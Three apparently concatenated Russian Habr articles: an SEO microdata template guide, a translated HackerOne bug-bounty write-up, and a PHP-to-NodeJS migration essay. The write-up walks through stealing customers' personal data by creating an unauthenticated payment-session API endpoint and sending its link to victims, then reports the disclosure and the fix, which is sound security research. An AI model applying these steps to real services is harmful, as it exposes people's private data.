Микроразметка сайта для поисковых систем Яндекс и Google в формате Schema.org, JSON-LD и Open Graph. Разметку старался делать без js, т.к. Яндекс ее не учитывает. Микроформат Schema.org подходит для Яндекс/Google. Преимущество данного метода - не нужно ждать бота, который придет, просканирует страницу с включенным js и поймет что там находится. Ускоряет обработку данных в микроданных.
Всем привет. Меня зовут Толстенко Александр. Я частный SEO специалист. В сфере разработки и продвижения бизнеса в интернете я с 2009 года. Мы с командой занимаемся продвижением сайтов в Яндекс и Google.
Занимаясь SEO продвижением одного крупного СМИ портала, была необходимость собрать по максимуму определенные виды микроразметок и внедрить их на сайт, чтобы Яндекс и Google корректно понимали какой контент находится на сайте и данные в ней побыстрее попадали в сниппеты результатов выдачи, делая сайт заметным на поиске.
У Яндекса есть проблемы с пониманием JSON-LD, а Google сканирует сайт не сразу с включенным js, из-за чего данные в микроформате не сразу учитываются роботом.
Поэтому, пришлось собирать нужную разметку и переделывать JSON-LD в Schema.org, чтобы все поисковые машины смогли распознать информацию на сайте корректно.
### Яндекс не понимает JSON-LD?
Как так, в валидаторе же, при проверке данные видны? Пример проверки js микроразметки на скрине.
Специально, задал этот вопрос техподдержке Яндекса. Ответ на скрине ниже.
Итак, погнали. Начну с определения и немного примеров, потом будет мясо.
### Что такое микроразметка
**Микроразметка** — это способ семантической разметки данных на сайте, который помогает поисковым роботам лучше понимать какая информация размещена на страницах сайта.
**Цель семантической разметки** – сделать интернет более понятным, структурированным и облегчить поисковым системам и специальным программам извлечение и обработку информации для удобного ее представления в результатах поиска.
***Из справки Яндекс*** [***https://yandex.ru/support/webmaster/schema-org/***](https://yandex.ru/support/webmaster/schema-org/)
### Для чего нужна микроразметка сайта при SEO продвижении?
С помощью семантической разметки документа, можно выделить сайт в результатах выдачи поисковых систем.
Сравните результаты поисковой выдачи ниже. Сайты у которых есть микроразметка, намного заметнее, чем без нее. Следовательно, у таких сайтов будет больше переходов из поиска, клиентов и продаж.
**Некоторые примеры из выдачи Яндекса**
**Некоторые примеры из выдачи Гугл**
### Словари микроразметки
В детали, виды и синтаксис словарей вдаваться не буду, там много чего можно написать. Вряд ли только кому это будет интересно, т.к. скорее всего вы ищете именно разметку.
Для продвижения сайта в Яндекс и Google SEOшники используют только три вида разметки: Schema.org, Open Graph, JSON-LD, чтобы объяснить роботу какой текст, находится в каком блоке на сайте и по возможности (алгоритмы постоянно меняются), эта информация попала в описание площадки на поиске. Другие встречаются очень редко.
Формат Schema.org рекомендует использовать [Яндекс](https://yandex.ru/support/webmaster/schema-org/what-is-schema-org.html), [JSON-LD - Google](https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data?hl=ru).
[Open Graph](https://yandex.ru/support/webmaster/open-graph/intro-open-graph.html) хоть и разработан социальной сетью Facebook (на момент публикации, запрещенная соцсеть в РФ), но на сайт его тоже интегрируют, чтобы сделать более привлекательное отображение площадки, когда делятся ссылками в сообщениях. Пример, на скрине ниже.
### Инфа для программистов!
Ниже примеры разметки. Она может не подходить под текущую структуру верстки на сайте, нужно применить примеры к текущему формату разметки. Там где она есть, проверить. В случае надобности скорректировать/добавить отсутствующие поля разметки.
### Где проверять правильность разметки на сайте
В Яндексе: <https://webmaster.yandex.ru/tools/microtest/> - некоторая разметка в может показываться с ошибкой в онлайн сервисе проверки. В Google ошибок не было.
В Гугле: <https://search.google.com/structured-data/testing-tool>
*P.S.: При проверки примеров микроразметки в Яндлекс.Вебмастере, кое какая будет выдавать ошибку, в Гугл - ошибки не будет. Проверял все по Гуглу. Если, где то будет ошибка, прошу строго не судить, я не прогер, за обратную связь буду благодарен.*
### Микроразметка для сайта
Ниже находятся примеры разных методов разметки данных. По максимуму старался сделать в формате Schema.org, но использовал и другие. Разметка подойдет для сайта услуг, блога, информационного портала СМИ. Что то можно взять и для интернет магазина. Кому надо, берите правьте под себя.
*P.S.: в коде, где прописан класс DisplaNone - нужно css стилями скрыть лишную техническую информацию от глаз пользователей. Все пояснения заменить на нужную информацию. Комменты, можно удалить при необходимости.*
### Микроразметка для блока head
Добавить в блок head микроразметку для og и twitter. Пример кода:
```
{содержание head}
```
### Разметка для поиска по сайту
```
```
Подробнее можно в справке тут: <https://developers.google.com/search/docs/data-types/sitelinks-searchbox?hl=ru>
### Хлебные крошки
Сделать хлебные крошки и их микроразметку — ПОСЛЕДНЮЮ КРОШКУ, НЕ ДЕЛАТЬ ССЫЛКОЙ!
```
* [Основной раздел](url_ссылки "Основной раздел")
* [Подраздел уровня 1](url_ссылки "Подраздел уровня 1")
* [Подраздел уровня 2](url_ссылки "Подраздел уровня 2")
```
### Разметка меню навигации
**Для меню в шапке**
```
- [Пункт 1](url)
- [Пункт\_2](url)
- [Пункт\_3](url)
- [Под\_пункт\_3\_1](url)
- [Под\_пункт\_3\_2](url)
- [Пункт\_4](url)
```
**Для меню в футере (другая верстка)**
```
- [название\_пункта\_меню\_1](ссылка)
- [название\_пункта\_меню\_2](ссылка)
```
Страница(ы) контактов
---------------------
```
```
### Разметка футера сайта
```
```
### Разметка списка статьи блога (Blog) (список)
Для новостей заменить http://schema.org/Blog на http://schema.org/NewsArticle
```
{Название документа/раздела}
============================
{название\_статьи\_N}
---------------------
![]()
```
### Разметка конкретного материала: Статьи/Новости
Для новостей заменить http://schema.org/Article на http://schema.org/NewsArticle
```
{Заголовок документа}
=====================
![]()
{текст\_материала в html}
```
### Микроразметки комментариев
```
Комментарии
-----------
* {Имя пользователя}
{2020-01-14}
{Текст комментария}
* {Имя другого пользователя}
{2020-02-27}
{Другой комментарий}
```
### Микроразметка отзывов о сайте (если они есть)
```
Текст\_отзыва
```
### Разметка видео в контенте
```
{Заголовок видео}
-----------------
```
### Разметка мобильного приложения
```
```
### FAQ: Часто задаваемые вопросы, вопрос/ответы
```
How many ounces are there in a pound?
-------------------------------------
52
I have taken up a new interest in baking and keep running across directions in ounces and pounds. I have to translate between them and was wondering how many ounces are in a pound?
3 answers
26 votes
1337
1 pound (lb) is equal to 16 ounces (oz).
[Answer Link](https://example.com/question1#acceptedAnswer)
42
Are you looking for ounces or fluid ounces? If you are looking for fluid ounces there are 15.34 fluid ounces in a pound of water.
[Answer Link](https://example.com/question1#suggestedAnswer1)
0
I can't remember exactly, but I think 18 ounces in a lb. You might want to double check that.
[Answer Link](https://example.com/question1#suggestedAnswer2)
```
Подробнее в справке [https://developers.google.com/search/docs/appearance/structured-data/qapage?hl=ru#микроданные](https://developers.google.com/search/docs/appearance/structured-data/qapage?hl=ru#%D0%BC%D0%B8%D0%BA%D1%80%D0%BE%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%B5)
How-To (Инструкция)
-------------------
```
**How to tie a tie**
About 2 minutes
...
Necessary Items:
A tie
A collared Shirt
A mirror
Preparations
Button your shirt how you'd like to wear it, then drape the tie around your neck. Make the thick end about 1/3rd longer than the short end. For formal button down shirts, it usually works best with the small end of the tie between 4th and 5th button.
https://example.com/1x1/photo1.jpg
Crossing once
Cross the long end over the short end. This will form the basis for your knot.
https://example.com/1x1/photo2.jpg
Second crossing
Bring the long end back under the short end, then throw it back over the top of the short end in the other direction.
https://example.com/1x1/photo3.jpg
Loop in
Now pull the long end through the loop near your neck, forming another loop near your neck.
https://example.com/1x1/photo4.jpg
Pull and tighten
Pull the long end through that new loop and tighten to fit!
https://example.com/1x1/photo5.jpg
```
Подробнее в справке <https://developers.google.com/search/docs/appearance/structured-data/how-to?hl=ru>
SaleEvent (Распродажа/Бонус)
```
```
Разметка в формате ld json для Google
-------------------------------------
Разметка Логотипа
```
{
"@context": "https://schema.org",
"@type": "Organization",
"url": "url-сайта",
"logo": "{Ссылка на логотип}"
}
```
### Разметка автора на странице
```
{
"@context": "http://schema.org",
"@type": "Person",
"name": "Имя",
"additionalName": "Отчество (можно второе имя, ник)",
"jobTitle": "Должность",
"affiliation": "Организация, с которой связан человек",
"email": "Адрес email",
"telephone": "Контактный телефон",
"url": "URL персональной страницы или профиля на сайте",
"image": "URL фото",
"address": {
"@type": "PostalAddress",
"addressCountry": "Страна",
"addressRegion": "Регион (область)"
}
}
```
### Карусель Статей/Новостей
```
{
"@context":"https://schema.org",
"@type":"ItemList",
"itemListElement":[
{
"@type":"ListItem",
"position":1,
"url":"ссылка\_на\_документ\_N",
"name":"Имя\_документа\_N",
"image": [
"https://example.com/photos/1x1/photo.jpg",
"https://example.com/photos/4x3/photo.jpg",
"https://example.com/photos/16x9/photo.jpg"
]
},
{
"@type":"ListItem",
"position":2,
“url":"ссылка\_на\_документ\_N",
"name":"Имя\_документа\_N",
"image": [
"https://example.com/photos/1x1/photo.jpg",
"https://example.com/photos/4x3/photo.jpg",
"https://example.com/photos/16x9/photo.jpg"
]
}
]
}
```
Разметка голосового поиска (Speakable)
Добавить документу доп поле, в котором можно будет написать информацию о чем этот текст.
*Рекомендации поисковых систем: текст должен быть не больше 2-3 предложений, чтобы озвучка текста не занимал более 30 секунд. Подробнее о разметке можно почитать тут* [*https://developers.google.com/search/docs/data-types/speakable?hl=ru*](https://developers.google.com/search/docs/data-types/speakable?hl=ru)
```
{
"@context": "https://schema.org/",
"@type": "WebPage",
"name": "h1\_документа",
"speakable":
{
"@type": "SpeakableSpecification",
"xpath": [
"/html/head/title",
"/html/head/meta[@name='description\_page']/@content"
]
},
"url": "url\_страницы"
}
```
Для продвижения конкретного ресурса нужна была не вся микроразметка. Если что то не нашли, можно разметку структурированных данных, которая поддерживается в Google Поиске, можно посмотреть тут: <https://developers.google.com/search/docs/appearance/structured-data/search-gallery?hl=ru>
Со всеми свойствами и примерами схемы schema.org, можно ознакомиться на официальном сайте <https://schema.org/> и собрать нужную самостоятельно при необходимости.
На этом все, спасибо за внимание. | https://habr.com/ru/post/715036/ | null | ru | null |
# Кража персональных данных пользователя (PII) с помощью вызова API напрямую
> Сегодня решили обсудить тему информационной безопасности. Публикуем перевод [статьи](https://medium.com/@kunal94/stealing-users-pii-info-by-visiting-api-endpoint-directly-5062e0147f67) Kunal pandey, обнаруживаем уязвимости и работаем на опережение!
### Введение
Кража персональных данных (PII) пользователя стала для нас обыденным явлением. Злоумышленники находят множество способов получить персональные данные, например, используя XSS- и IDOR-уязвимости, раскрытие конечных точек API (API endpoint) и другое.
Сценарий, который описан в этой статье, мы можем протестировать, просто наблюдая за поведением конечной точки API. В приведенном ниже примере, вызвав API, персональные данные любого пользователя могут быть сохранены в других конечных точках API.
### Объяснение
В одной из приватных программ на Bug Bounty-платформе [HackerOne](https://www.hackerone.com/), куда меня пригласили, было предложено протестировать портал магазина, а именно раздел для работы продавца. Здесь сотрудники магазина могут отправить любому покупателю приглашение «Разместить заказ» (Place order). Чтобы получить необходимую информацию, продавец отправляет этот запрос клиентам по электронной почте или с помощью QR-кода.
Получив ссылку с приглашением для совершения платежа, покупатель переходит по: *payment-na.examle.com/0811ebf4-d7d0-ba31–9ce68648a5a9* и заполняет необходимые данные.
При перехвате запроса, в [Burp Suite](https://portswigger.net/burp) обнаруживается конечная точка API метода POST, которая содержит введенные данные.
### Запрос
`POST /na/customer/client/v1/session/002420e4-e031-47aa-8d94-6f7c40c248c7 HTTP/1.1
Host: payments-na.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
X-Cdc-Client: 2.15.45
Content-Length: 125
Origin: https://payments-na.example.com
DNT: 1
Connection: close
Referer: https://payments-na.example.com
{"browser_prefilled":[],"customer_details":{"country":"US"..............},"skipped_fields":[],"user_submitted":true,"action":"continueAddressUnverified"}`
### Ответ
После заполнения формы, операция завершена. Готово!
Во время метода POST на *payments-na.example.com/na/customer/client/v1/session/002420e4-e031–47aa-8d94–6f7c40c248c7* вся информация сохранена, оплата произведена.
### Этап эксплуатации
Пользователи или злоумышленники могут обнаружить другой раздел портала, где они могут использовать функцию «Разместить заказ», точно так же, как в методе, описанном выше, и получить следующую ссылку для оплаты: *payment-na.examle.com/fa5daba4–5d50– 8f80–9eb1-ebia3ea6d665*.
В этом случае, просто заполните форму, перехватите запрос в Burp Suite, получите POST-запрос на *payment-na.example.com/na/customer/client/v1/session/xxxx*, загрузите сгенерированную конечную точку API и отбросьте другие запросы, чтобы мы не отправляли их.
Полученная конечная точка API: *payment-na.example.com/na/customer/client/v1/session/96afd42f-4281–4529–9b8c-3ba70b0f000b*.
При дальнейшем тестировании эту конечную точку также можно использовать с помощью метода GET в браузере. Ниже приведен снимок экрана с полученной конечной точкой API:
Как мы видим, информация еще не добавлена, а параметры не указаны.
Теперь получим эту API-ссылку и отправим ее другим пользователям, которые заполнили сведения о своих заказах. Как только жертва нажимает на данную API-ссылку, все персональные данные из предыдущей отправки, которые были сохранены здесь (*/na/customer/client/v1/session/002420e4-e031–47aa-8d94–6f7c40c248c7*), будут скопированы в указанную конечную точку API: */na/customer/client/v1/session/96afd42f-4281–4529–9b8c-3ba70b0f000b*.
После того, как жертва нажмет на присланную нами API-ссылку, на данную конечную точку будут скопированы все персональные данные пользователя.
Со стороны жертвы:
Злоумышленнику достаточно просто посетить данную конечную точку API в режиме инкогнито, там и будут скопированные данные жертвы (электронная почта, адрес и др.).
Персональные данные жертвы:
Таким образом, злоумышленники могли получить персональные данные любого клиента, просто создав новую конечную точку API сеанса и отправив ее другим пользователям.
### Работа над ошибками
Команда разработки портала удалила метод GET, привязала его к методу POST и добавила заголовок токена авторизации в вышеупомянутый запрос метода POST, где каждый раз он будет аутентифицироваться с сервера.
Это позволило избавиться от возможности повторить описанный выше сценарий — атака с копированием персональных данных пользователя через API.
### Ключевые моменты
1. Сценарии подобных атак могут быть различными, мой пример — только один из них. Обращайте внимание на подобные уязвимости и старайтесь копать глубже, чтобы создать похожий сценарий: как еще злоумышленник может атаковать вас.
2. В описанном примере API злоумышленника было аутентифицировано для конечной точки API жертвы, так как не было проверки заголовка токена авторизации. Это и позволило серверу копировать персональные данные клиентов в другую конечную точку API.
### Ход событий:
**22 июля:** Я сообщил об уязвимости команде портала.
**23 июля:** Отчет был рассмотрен командой, уровень серьезности установлен как средний.
**23 июля:** Получил вознаграждение 500 долларов.
**27 июля:** Проблема решена, составлен отчет. | https://habr.com/ru/post/529894/ | null | ru | null |
# Как я переписывал поисковик авиабилетов с PHP на NodeJS
Привет. Меня зовут Андрей, я студент-магистрант в одном из технических ВУЗов Москвы и по совместительству ~~очень скромный~~ начинающий предприниматель и разработчик. В этой статье я решил поделиться своим опытом перехода от PHP (который когда-то мне нравился из-за своей простоты, но со временем стал ненавидим мною — под катом объясняю почему) к NodeJS. Здесь могут приводиться очень банальные и кажущиеся элементарными задачи, которые, тем не менее, лично мне было любопытно решать в ходе моего знакомства с NodeJS и особенностями серверной разработки на JavaScript. Я попытаюсь объяснить и наглядно доказать, что PHP уже окончательно ушёл в закат и уступил своё место NodeJS. Возможно, кому-то даже будет полезно узнать некоторые особенности рендеринга HTML-страниц в Node, который изначально не приспособлен к этому от слова совсем.
Введение
--------
Во время написания движка я использовал простейшие техники. Никаких менеджеров пакетов, никакого роутинга. Только хардкор — папки, чьё название соответствовало запрашиваемому маршруту, да **index.php** в каждой из них, настроенный PHP-FPM для поддержания пула процессов. Позднее возникла необходимость использовать Composer и Laravel, что и стало последней каплей для меня. Перед тем, как перейти к рассказу о том, зачем же я вообще взялся переписывать всё с PHP на NodeJS, расскажу немного о предыстории.
### Менеджер пакетов
В конце 2018 года довелось работать с одним проектом, написанным на Laravel. Нужно было исправить несколько багов, внести правки в существующий функционал, добавить несколько новых кнопок в интерфейсе. Начался процесс с установки менеджера пакетов и зависимостей. В PHP для этого используется Composer. Тогда заказчик предоставил сервер с 1 ядром и 512 мегабайтами оперативной памяти и это был мой первый опыт работы с Composer. При установке зависимостей на виртуальном приватном сервере с 512 мегабайтами памяти процесс аварийно завершился из-за нехватки памяти.
Для меня, как человека знакомого с Linux и имеющего опыт работы с Debian и Ubuntu решение такой проблемы было очевидно — установка SWAP-файла (файл подкачки — для тех, кто не знаком с администрированием в Linux). Начинающий неопытный разработчик, установивший свой первый Laravel-дистрибутив на Digital Ocean, например, просто пойдёт в панель управления и будет поднимать тариф до тех пор, пока установка зависимостей не перестанет завершаться с ошибкой сегментации памяти. А как там обстоят дела с NodeJS?
А в NodeJS есть свой собственный менеджер пакетов — npm. Он значительно проще в использовании, компактнее, может работать даже в среде с минимальным количеством оперативной памяти. В целом, ругать Composer на фоне NPM особо не за что, однако в случае возникновения каких-то ошибок при установке пакетов Composer вылетит с ошибкой как обычное PHP-приложение и вы никогда не узнаете, какая часть пакета успела установиться и установилась ли она в конце-концов. И вообще, для администратора Linux вылетевшая установка = флэшбеки в Rescue Mode и `dpkg --configure -a`. К тому времени, как меня настигли такие "сюрпризы", я уже недолюбливал PHP, но это уже были последние гвозди в крышку гроба моей некогда великой любви к PHP.
Long-term support и проблема версионирования
--------------------------------------------
Помните, какой ажиотаж и изумление вызвал PHP7, когда разработчики впервые презентовали его? Увеличение производительности более чем в 2 раза, а в некоторых компонентах до 5 раз! А помните, когда появился на свет PHP седьмой версии? А как быстро-то заработал WordPress! Это был декабрь 2015 года. А знали ли вы, что PHP 7.0 уже сейчас считается устаревшей версией PHP и крайне рекомендуется обновить его… Нет, не до версии 7.1, а до версии 7.2. По утверждениям разработчиков, версия 7.1 уже лишена активной поддержки и получает лишь обновления безопасности. А через 8 месяцев прекратится и это. Прекратится, вместе с активной поддержкой и версии 7.2. Выходит, что к концу текущего года у PHP останется лишь одна актуальная версия — 7.3.
На самом деле, это не было бы придиркой и я бы не отнёс это к причинам моего ухода от PHP, если бы написанные мной проекты на PHP 7.0.\* уже сейчас не вызывали deprecation warning при открытии. Вернёмся к тому проекту, где вылетала установка зависимостей. Это был проект, написанный в 2015 году на Laravel 4 с PHP 5.6. Казалось, прошло же всего 4 года, ан-нет — куча deprecation-предупреждений, устаревшие модули, невозможность нормально обновиться до Laravel 5 из-за кучи корневых обновлений движка.
И это касается не только самого Laravel. Попробуйте взять любое приложение на PHP, написанное во времена активной поддержки первых версий PHP 7.0 и будьте готовы потратить свой вечер на поиск решений проблем, возникших в устаревших модулях PHP. Напоследок интересный факт: поддержка PHP 7.0 была прекращена раньше, чем поддержка PHP 5.6. На секундочку.
А как дела с этим обстоят у NodeJS? Я бы не сказал, что здесь всё значительно лучше и что сроки поддержки у NodeJS кардинально отличаются от PHP. Нет, здесь всё примерно так же — каждая LTS-версия поддерживается в течение 3 лет. Вот только у NodeJS немного больше этих самых актуальных версий.
Если у вас возникнет необходимость развернуть приложение, написанное в 2016 году, то будьте уверены, что у вас не будет с этим совершенно никаких проблем. Кстати говоря, версия 6.\* перестанет поддерживаться только в апреле этого года. А впереди ещё 8, 10, 11 и готовящаяся 12.
О трудностях и сюрпризах при переходе на NodeJS
-----------------------------------------------
Начну, пожалуй, с самого волнующего меня вопроса о том, как же всё-таки рендерить HTML-страницы в NodeJS. Но давайте для начала вспомним, как это делается в PHP:
1. Встраивать HTML напрямую в PHP-код. Так делают все новички, кто ещё не добрался до MVC. И так сделано в WordPress, что категорически ужасающе.
2. Использовать MVC, что как бы должно упростить взаимодействие разработчика и обеспечить какое-то разбиение проекта на части, но на деле этот подход лишь усложняет всё в разы.
3. Использовать шаблонизатор. Наиболее удобный вариант, но не в PHP. Просто посмотрите синтаксис, предлагаемый в Twig или Blade с фигурными скобками и процентами.
Я являюсь ярым противником совмещения или слияния нескольких технологий воедино. HTML должен существовать отдельно, стили для него — отдельно, JavaScript-отдельно (в React это вообще выглядит чудовищно — HTML и JavaScript вперемешку). Именно поэтому идеальный вариант для разработчиков с предпочтениями как у меня — шаблонизатор. Искать его для веб-приложения на NodeJS долго не пришлось и я сделал выбор в пользу Jade (PugJS). Просто оцените простоту его синтаксиса:
```
div.row.links
div.col-lg-3.col-md-3.col-sm-4
h4.footer-heading Флот.ру
div.copyright
div.copy-text 2017 - #{current_year} Флот.ру
div.contact-link
span Контакты:
a(href='mailto:hello@flaut.ru') hello@flaut.ru
```
Здесь всё достаточно просто: написал шаблон, загрузил его в приложение, скомпилировал один раз и далее используешь в любом удобном месте в любое удобное время. По моим ощущениям, производительность PugJS примерно в 2 раза лучше, чем рендеринг с помощью внедрения HTML в PHP-код. Если раньше в PHP статическая страница генерировалась сервером примерно за 200-250 миллисекунд, то теперь это время составляет примерно 90-120 миллисекунд (речь идёт не о самом рендеринге в PugJS, а о времени, затраченном от запроса страницы до ответа сервера клиенту с готовым HTML). Так выглядит загрузка и компиляция шаблонов и их компонентов на стадии запуска приложения:
```
const pugs = {}
fs.readdirSync(__dirname + '/templates/').forEach(file => {
if(file.endsWith('.pug')) {
try {
var filepath = __dirname + '/templates/' + file
pugs[file.split('.pug')[0]] = pug.compile(fs.readFileSync(filepath, 'utf-8'), { filename: filepath })
} catch(e) {
console.error(e)
}
}
})
// и далее рендеринг уже скомпилированного шаблона
return pugs.tickets({ ...config })
```
Выглядит невероятно просто, но с Jade возникла небольшая сложность на этапе работы с уже скомпилированным HTML. Дело в том, что для внедрения скриптов на странице используется асинхронная функция, которая забирает все `.js` файлы из директории и добавляет к каждому из них дату их последнего изменения. Функция имеет следующий вид:
```
for(let i = 0; i < files.length; i++) {
let period = files[i].lastIndexOf('.') // get last dot in filename
let filename = files[i].substring(0, period)
let extension = files[i].substring(period + 1)
if(extension === 'js') {
let fullFilename = filename + '.' + extension
if(env === 'production') {
scripts.push({ path: paths.production.web + fullFilename, mtime: await getMtime(paths.production.code + fullFilename)})
} else {
if(files[i].startsWith('common') || files[i].startsWith('search')) {
scripts.push({ path: paths.developer.scripts.web + fullFilename, mtime: await getMtime(paths.developer.scripts.code + fullFilename)})
} else {
scripts.push({ path: paths.developer.vendor.web + fullFilename, mtime: await getMtime(paths.developer.vendor.code + fullFilename)})
}
}
}
}
```
На выходе получаем массив объектов с двумя свойствами — путь к файлу и время его последнего редактирования в timestamp (для обновления клиентского кэша). Проблема в том, что ещё на этапе сбора файлов скриптов из директории они все загружаются в память строго по алфавиту (так они расположены в самой директории, а сбор файлов в ней осуществляется сверху вниз — от первого до последнего). Это приводило к тому, что сначала загружался файл **app.js**, а уже после него шёл файл **core.min.js** с полифиллами, и в самом конце — **vendor.min.js**. Решилась эта проблема достаточно просто — очень банальной сортировкой:
```
scripts.sort((a, b) => {
if(a.path.includes('core.min.js')) {
return -1
} else if(a.path.includes('vendor.min.js')) {
return 0
}
return 1
})
```
В PHP же это всё имело монструозный вид в виде заранее записанных в строку путей к JS-файлам. Просто, но непрактично.
### NodeJS держит своё приложение в оперативной памяти
Это огромный плюс. У меня всё устроено так, что на сервере параллельно и независимо друг от друга существуют два отдельных сайта — версия для разработчика и production-версия. Представим, что я сделал какие-то изменения в PHP-файлы на сайте для разработки и мне нужно выкатить эти изменения на production. Для этого нужно останавливать сервер или ставить заглушку "извините, тех. работы" и в это время копировать файлы по отдельности из папки developer в папку production. Это вызывает какой-никакой простой и может вылиться в потерю конверсий. Преимущество **in-memory application** в NodeJS заключается для меня в том, что все изменения в файлы движка будут внесены только после его перезагрузки. Это очень удобно, поскольку можно скопировать все необходимые файлы с изменениями и только после этого перезагрузить сервер. Процесс занимает не более 1-2 секунд и не вызовет даунтайма.
Такой же подход используется в nginx, например. Вы сначала редактируете конфигурацию, проверяете её при помощи `nginx -t` и только потом вносите изменения с `service nginx reload`
### Кластеризация NodeJS-приложения
В NodeJS есть очень удобный инструмент — менеджер процессов **pm2**. Как мы обычно запускаем приложения в Node? Заходим в консоль и пишем `node index.js`. Как только мы закрываем консоль — приложение закрывается. По крайней мере, так происходит на сервере с Ubuntu. Чтобы избежать этого и держать приложение запущенным всегда, достаточно добавить его в **pm2** простой командой `pm2 start index.js --name production`. Но это ещё не всё. Инструмент позволяет проводить мониторинг (`pm2 monit`) и кластеризацию приложения.
Давайте вспомним о том, как организованы процессы в PHP. Допустим, у нас есть nginx, обслуживающий http-запросы и нам нужно передать запрос на PHP. Можно либо сделать это напрямую и тогда при каждом запросе будет спавниться новый процесс PHP, а при его завершении — убиваться. А можно использовать fastcgi-сервер. Думаю, все знают что это такое и нет необходимости вдаваться в подробности, но на всякий случай уточню, что в качестве fastcgi чаще всего используется PHP-FPM и его задача — заспавнить множество процессов PHP, которые в любой момент готовы принять и обработать новый запрос. В чём недостаток такого подхода?
Во-первых, в том, что вы никогда не знаете, сколько памяти будет потреблять ваше приложение. Во-вторых, вы всегда будете ограничены в максимальном количестве процессов, а соответственно, при резком скачке трафика ваше PHP-приложение либо использует всю доступную память и упадёт, либо упрётся в допустимый предел процессов и начнёт убивать старые. Это можно предотвратить, установив не-помню-какой-параметр в конфигурационном файле PHP-FPM в **dynamic** и тогда будет спавниться столько процессов, сколько необходимо в данное время. Но снова-таки, элементарная DDoS-атака выест всю оперативную память и положит ваш сервер. Или, например, багнутый скрипт съест всю оперативную память и сервер зависнет на какое-то время (были прецеденты в процессе разработки).
Кардинальное отличие в NodeJS заключается в том, что приложение не может потребить более чем 1,5 гигабайта оперативной памяти. Нет никаких ограничений по процессам, есть только ограничение по памяти. Это стимулирует писать максимально легковесные программы. К тому же очень просто рассчитать количество кластеров, которые мы можем себе позволить в зависимости от имеющегося ресурса CPU. Рекомендуется на каждое ядро "вешать" не более одного кластера (ровно как и в nginx — не более одного воркера на одно ядро CPU).
Преимущество такого подхода ещё и в том, что PM2 перезагружает все кластеры по очереди. Возвращаясь к предыдущему абзацу, в котором говорилось о 1-2 секундном даунтайме при перезагрузке. В Cluster-Mode при перезагрузке сервера ваше приложение не испытает ни миллисекунды даунтайма.
### NodeJS — это хороший швейцарский нож
Ныне сложилась такая ситуация, когда PHP выступает в качестве языка для написания сайтов, а Python выступает в качестве инструмента для краулинга этих самых сайтов. NodeJS — это 2 в 1, с одной стороны вилка, с другой — ложка. Вы можете писать быстрые и производительные приложения и веб-краулеры на одном сервере в пределах одного приложения. Звучит заманчиво. Но как это может быть реализовано, спросите вы? Сама компания Google выкатила официальное API с Chromium — Puppeteer. Вы можете запускать Headless Chrome (браузер без интерфейса пользователя — "безголовый" Chrome) и получить максимально широкий доступ к API-браузера для обхода страниц. [Максимально просто и доступно о работе Puppeteer](https://www.youtube.com/watch?v=WPcahL2K27w).
Например, в нашей группе ВКонтакте происходит регулярный постинг скидок и специальных предложений на различные направления из городов СНГ. Мы генерируем изображения для постов в автоматическом режиме, а чтобы они были ещё и красивыми — нам нужны красивые картинки. Я не любитель подвязываться на различные API и заводить на десятках сайтов аккаунты, поэтому я написал простое приложение, имитирующее обычного пользователя с браузером Google Chrome, который ходит по сайту со стоковыми картинками и забирает случайным образом изображение, найденное по ключевому слову. Раньше для этого я использовал Python и BeautifulSoup, но теперь в этом отпала необходимость. А самая главная особенность и преимущество Puppeteer заключается в том, что вы можете с лёгкостью краулить даже SPA-сайты, ведь вы имеете в своём распоряжении полноценный браузер, понимающий и исполняющий JavaScript-код на сайтах. Это до боли просто:
```
const browser = await puppeteer.launch({headless: true, args:['--no-sandbox']})
const page = (await browser.pages())[0]
await page.goto(`https://pixabay.com/photos/search/${imageKeyword}/?cat=buildings&orientation=horizontal`, { waitUntil: 'networkidle0' })
```
Вот так в 3 строчки кода мы запустили браузер и открыли страницу сайта со стоковыми изображением. Теперь мы можем выбрать случайный блок с изображением на странице и добавить к нему класс, по которому в дальнейшем сможем точно так же обратиться и уже перейти на страницу непосредственно с самим изображением для его дальнейшей загрузки:
```
var imagesLength = await page.evaluate(() => {
var photos = document.querySelectorAll('.search_results > .item')
if(photos.length > 0) {
photos[Math.floor(Math.random() * photos.length)].className += ' --anomaly_selected'
}
return photos.length
})
```
Вспомните, сколько бы потребовалось кода, чтобы написать подобное на PhantomJS (который, кстати, закрылся и вступил в тесное сотрудничество с командой разработки Puppeteer). Разве наличие такого чудесного инструмента может остановить кого-нибудь от перехода к NodeJS?
### В NodeJS заложена асинхронность на фундаментальном уровне
Это можно считать огромным преимуществом NodeJS и JavaScript, особенно с приходом async/await в ES2017. В отличии от PHP, где любой вызов выполняется синхронно. Приведу простой пример. Раньше у нас в поисковике страницы генерировались на сервере, но кое-что нужно было выводить на страницу уже в клиенте с помощью JavaScript, а на тот момент Яндекс ещё не умел в JavaScript на сайтах и специально для него пришлось реализовывать механизм снапшотов (снимков страниц) при помощи Prerender. Снапшоты хранились у нас на сервере и выдавались роботу при запросе. Дилемма заключалась в том, что эти снимки генерировались в течение 3-5 секунд, что совершенно недопустимо и может повлиять на ранжирование сайта в поисковой выдаче. Для решения этой задачи был придуман простой алгоритм: когда робот запрашивает какую-то страницу, снимок которой у нас уже есть, то мы просто отдаём ему уже имеющийся у нас снимок, после чего "в фоне" выполняем операцию по созданию нового снимка и заменяем им уже имеющийся. Как это было делано в PHP:
```
exec('/usr/bin/php ' . __DIR__ . '/snapshot.php -a ' . $affiliation_type . ' -l ' . urlencode($full_uri) . ' > /dev/null 2>/dev/null &');
```
Никогда так не делайте.
В NodeJS этого можно добиться вызовом асинхронной функции:
```
async function saveSnapshot() {
getSnapshot().then((res) => {
db.saveSnapshot().then((status) => {
if(status.err) console.error(err)
})
})
}
/**
* И вызываем функцию без await
* Т.е. не будем дожидаться resolve() от промиса
*/
saveSnapshot()
```
Вкратце, вы не пытаетесь обойти синхронность, а сами определяете, когда использовать синхронное выполнение кода, а когда асинхронное. И это действительно удобно. Особенно когда вы узнаете о возможностях **Promise.all()**
Сам движок поисковика авиабилетов устроен таким образом, что он отсылает запрос на второй сервер, собирающий и агрегирующий данные, и затем обращается к нему за уже готовыми к выдаче данными. Для привлечения трафика из органики используются страницы направлений.
